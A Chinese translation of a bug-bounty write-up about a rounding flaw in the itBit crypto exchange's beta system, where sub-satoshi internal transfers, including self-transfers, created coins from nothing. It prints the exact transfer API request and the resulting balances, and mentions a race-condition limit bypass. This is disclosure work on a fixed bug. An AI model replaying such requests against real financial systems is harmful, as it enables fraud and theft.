某个加密货币交易所的“生钱”漏洞

原文来自 https://4lemon.ru/2017-01-26_make_money_button.html
翻译:聂心明
我每次都会测试与钱有关的系统,我对它感兴趣的原因不仅仅是因为能发现诸如注入漏洞,xss漏洞,IDOR漏洞等这些OWASP TOP-10之中包含的漏洞,还能发现一些基于金融的逻辑漏洞还有基于数学的漏洞。这里有一份常见漏洞类型列表:

  • 资源竞争

  • 从一个RUB账户转到另一个USD账户的汇率问题

  • 整数问题

  • 还有很多很多其他的问题

但是,在理论上有些事情是行的通的:
注意!在理论上可以利用条件竞争来绕过每日的转账限制
酷………这非常有趣
肯定还有其他漏洞,那时我会一步步的解释发生了什么,怎么发生的,为什么会发生,并且还要展示其结果。
今天我给大家展示一个真实的案例:

在2016年9月底我收到一封邮件
hi 黑客
我们尽可能的通知每一个为itBit交易中心工作的人,我们的漏洞赏金流程发生了一些变化。我们将提高每个漏洞的赏金。($100-$2000+)如果这段时间你没有测试过交易系统的话,那么我们欢迎你回归,并且重新看看我们的新系统,希望你也能挖到新漏洞

提高赏金?太好了!
你很久以前测试过这个系统吗?对的
这次我们继续搞
这个应用允许用户创建多个钱包。这个功能非常有用:可以用在汽车上,公寓里和每一天的花销上。
前期准备:

  • 攻击者有两个账户/钱包

  • 至少其中一个有钱

开始时账户金额:
account1 XBT - 100000.00000006
account2 XBT - 0


老实的说,这里确实有一些漏洞,只是这个漏洞存在于测试环境中。这个漏洞已经在十月中旬修复了。现在两个测试帐户已经准备好了,开始我们的表演吧。
测试从帐户1转0.00000001到帐户2:
account1 XBT - 100000.00000005
account2 XBT - 0.00000001

见证奇迹的时刻

从帐户1转0.000000005(这个金额小于0.00000001)到帐户2
account1 XBT - 100000.00000005 <- 帐户1的金额没有发生改变
account2 XBT - 0.00000002 <- 但是帐户2的金额却改变了

测试从帐户2转0.00000002到帐户1:
account1 XBT - 100000.00000007 - bingo!
account2 XBT - 0.00000000


结果就是黑客免费的产生了0.00000001 XBT。此外,在内部转账中没有如下的限制:

  • 每日的次数限制

  • 转账时不用输入密码

  • 其他的

所以,黑客可以无限制转账。我仅仅希望他们有反欺诈的机制,那么攻击者在提款的时候就会失败。

这样就结束了?不

他们修复了那个漏洞之后,我又发现了一个基于数学的逻辑漏洞。
从帐户1转账到帐户1再到帐户1等自己转账给自己的行为没有任何限制,这看上去就像:

PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com

{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.00000001"}

这个请求发出去之后没有任何结果,帐户金额也没有发生任何改变
但是如果攻击者添加先前提到的攻击向量的话,那么整个事情就会变得有趣起来。攻击前金额:

{"currencyCode":"XBT","balance":100000.00000007,"available":100000.00000007,"onDeposit":0}

攻击:

PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com

{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.000000005"}

攻击之后的金额

{"currencyCode":"XBT","balance":100000.00000008,"available":100000.00000008,"onDeposit":0}

所以:

  • 申请获得0.000000005

  • 转出去的金额被四舍五入成0.00000000,然后从原帐户金额中减去--所以源金额没有改变

  • 没有检查原账户和目的帐户中的金额是否相同

  • 转出去的金额被四舍五入成0.000000001,之后加进了目标帐户中---所以目标账户凭空产生了0.000000001

这个额外的漏洞也已经报给了官方,并且上周他们已经修复了这个问题。
记住!应用系统的行为取决于你是怎么写的,而不是你是怎么想的! :)

*文章为作者独立观点,不代表BSCEC立场

转载此文章须经作者同意,并请附上出处(先知社区)及本页链接。原文链接 https://xz.aliyun.com/t/2827

白帽汇安全研究院转载2018-09-30 18:08:48 先知社区 2460